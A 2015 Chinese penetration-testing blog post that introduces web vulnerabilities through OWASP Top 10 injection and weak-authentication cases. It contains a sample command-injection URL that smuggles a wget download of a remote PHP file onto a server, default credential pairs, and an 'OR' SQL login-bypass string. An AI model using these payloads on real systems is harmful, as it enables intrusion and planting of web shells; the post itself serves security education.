渗透测试必知必会—Web漏洞

浏览数：40 / 时间：2015年06月09日

渗透测试必知必会—Web漏洞

0x00前言

　　本文为对WEB漏洞研究系列的开篇，日后会针对这些漏洞一一研究，敬请期待

　　0x01 目录

　　0x00 前言

　　0x01 目录

　　0x02 OWASP TOP10 简单介绍

　　0x03 乌云TOP 10 简单介绍

　　0x04 非主流的WEB漏洞

　　0x02 OWASP TOP10 简单介绍

　　除了OWASP的TOP10，Web安全漏洞还有很多很多，在做测试和加固系统时也不能老盯着TOP10，实际上是TOP10中的那少数几个

　　直接说2013的：

　　A1: 注入，包括SQL注入、OS注入、LDAP注入。SQL注入最常见，wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例，由于现在自动化工具非常多，通常都是找到注入点后直接交给以sqlmap为代表的工具

　　命令注入相对来说出现得较少，形式可以是：

　　https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;

　　也可以查看案例：极路由云插件安装shell命令注入漏洞，未对用户输入做任何校验，因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行

　　直接搜索LDAP注入案例，简单尝试下并没有找到，关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例，但是重要的LDAP信息泄露还是挺多的，截至目前，乌云上搜关键词LDAP有81条记录。

　　PHP对象注入：偶然看到有PHP对象注入这种漏洞，OWASP上对其的解释为：依赖于上下文的应用层漏洞，可以让攻击者实施多种恶意攻击，如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为：1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击，或开始一个"POP chain"；2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明，或者自动加载的对象必须被这些类支持。PHP对象注入的案例及文章可以参考WordPress < 3.6.1 PHP 对象注入漏洞。

　　在查找资料时，看到了PHP 依赖注入，原本以为是和安全相关的，结果发现：依赖注入是对于要求更易维护，更易测试，更加模块化的代码的解决方案。果然不同的视角，对同一个词的理解相差挺多的。

　　A2: 失效的身份认证及会话管理，乍看身份认证觉得是和输入密码有关的，实际上还有会话id泄露等情况，注意力集中在口令安全上：

　　案例1：空口令

　　乌云：国内cisco系列交换机空密码登入大集合

　　乌云：UC某服务器可空口令访问数据库

　　案例2：弱口令

　　乌云：盛大某站后台存在简单弱口令可登录　　admin/admin

　　乌云：电信某省客服系统弱口令泄漏各种信息　.../123456

　　乌云：中国建筑股份有限公司OA系统tomcat弱口令导致沦陷　　tomcat/tomcat

　　案例3：万能密码

　　乌云：移动号码上户系统存在过滤不严　　admin‘OR‘a‘=‘a/admin‘OR‘a‘=‘a (实际上仍属于SQL注入)

　　弱口令案例实在不一而足